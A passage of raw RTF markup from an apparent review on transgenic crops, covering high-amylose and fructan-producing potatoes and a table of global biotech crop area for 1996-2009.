ain high-amylose starch, potato plants were engineered by inhibiting starch branching enzyme to below 1% of the wild-type activities. These transgenic potatoes showed high amylose and phosphorus content with low amylopectin. Manipulation of cellular pathw
ays can be brought about by immunomodulation in which function of specific molecules or enzymes are altered through specific antibodies or antibody fragments. To make high amylose transgenic potato, }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid16206186\charrsid16345645 {\*\bkmkstart bbib37}{\*\bkmkend bbib37}experiments }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 targeted anti-SBE A single domain 
antibody to plastid of transgenic potato deficient in SBE B, which resulted in increase in amylose content of starch granules from 20 to 74%. Besides changing the starch constituents, granule size has also been manipulated in potato for industrial use in 
making of biodegradable plastic films.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9326574\charrsid16345645                                            }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
The endogenous pathways have been manipulated to redirect carbon flow towards the production of novel biomolecules. Fructans are polymers of fructose and represent alternative
 storage carbohydrate in several plant species. Potatoes, which are normally non-fructan producing plants, have been successfully engineered for producing fructans as novel carbohydrates}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid16206186\charrsid16345645 {\*\bkmkstart bbib76}{\*\bkmkstart bbib30}. }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 The potato plants were modified by introducing either th
e microbial fructosyltransferase genes from }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Bacillus subtilis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  (sacB) or }{\rtlch\fcs1 \ai\af0\afs20 
\ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Streptococcus mutans}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  (ftf) }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16206186\charrsid16345645 o}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 r plant gene }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 1-SST}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 (sucrose:sucrose 1-fructosyltransferase) and }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 1-FFT}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 (fructan: fructan 1-fructosyltransferase) from globe artichoke (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Cynara scolymus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ). The 
fructan content in the transgenic potato plants expressing microbial fructosyltransferase genes varied from 1 to 7% of dry weight in microtubers}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16206186\charrsid16345645 {\*\bkmkend bbib76}.}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  Similarly transgenic potatoes carrying plant gene }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 1-SST}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  and }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 1-FFT}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  showed inulin (fructan) content up to 
5% of the dry weight in transgenic tuber{\*\bkmkend bbib30}. However, fructan produced from microbial fructosyltransferase gene was of considerably higher molecular weight than that produced by plant genes }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 1-SST}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 1-FFT}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13377304\charrsid16345645 
\par }\pard\plain \ltrpar\s3\qc \fi720\li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid8210603 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645 {\*\bkmkstart SECX16}{\*\bkmkend SECX16}Table 2}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13640555\charrsid16345645 :  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid997052\charrsid16345645 Status of Biotech/ GMO Crops}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11540189\charrsid16345645  in the global perspective the first 14 years (19996-2009)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid8604780\charrsid16345645 
\par \ltrrow}\trowd \irow0\irowband0\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 Year\cell Hectare (million)\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 Year\cell Hectare (million)\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 
\ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid13794977\charrsid16345645 \trowd \irow0\irowband0\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 
\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 1996\cell 1.7\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2003\cell 67.7\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow1\irowband1\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 1997\cell 11.0\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2004\cell 81.0\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow2\irowband2\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 1998\cell 27.8\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2005\cell 90.0\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow3\irowband3\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 1999\cell 39.9\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2006\cell 102.3\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow4\irowband4\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2000\cell 44.2\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2007\cell 114.3\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow5\irowband5\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5001\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13794977\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2001\cell 52.6\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2008\cell 125.0\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow6\irowband6\ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row \ltrrow}\pard\plain \ltrpar
\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2002\cell 58.7\cell }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid7823806\yts34 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 2009\cell 134.0\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 
\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid16345645 \trowd \irow7\irowband7\lastrow \ltrrow\ts34\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb
\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth563\clshdrawnil \cellx1012\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1480\clshdrawnil \cellx3954\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx6892\clvertalt\clbrdrt\brdrs\brdrw10 
\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth1478\clshdrawnil \cellx9830\row }\pard\plain \ltrpar
\s3\qr \li0\ri0\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid13794977 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid11540189\charrsid16345645 Source: Clive James, 2009}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977 
\par }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid8210603 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13794977\charrsid8210603 T}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid8210603 able 3}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid8210603 : Approval and Commercialization of Biotech Crops in China
\par \ltrrow}\trowd \irow0\irowband0\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
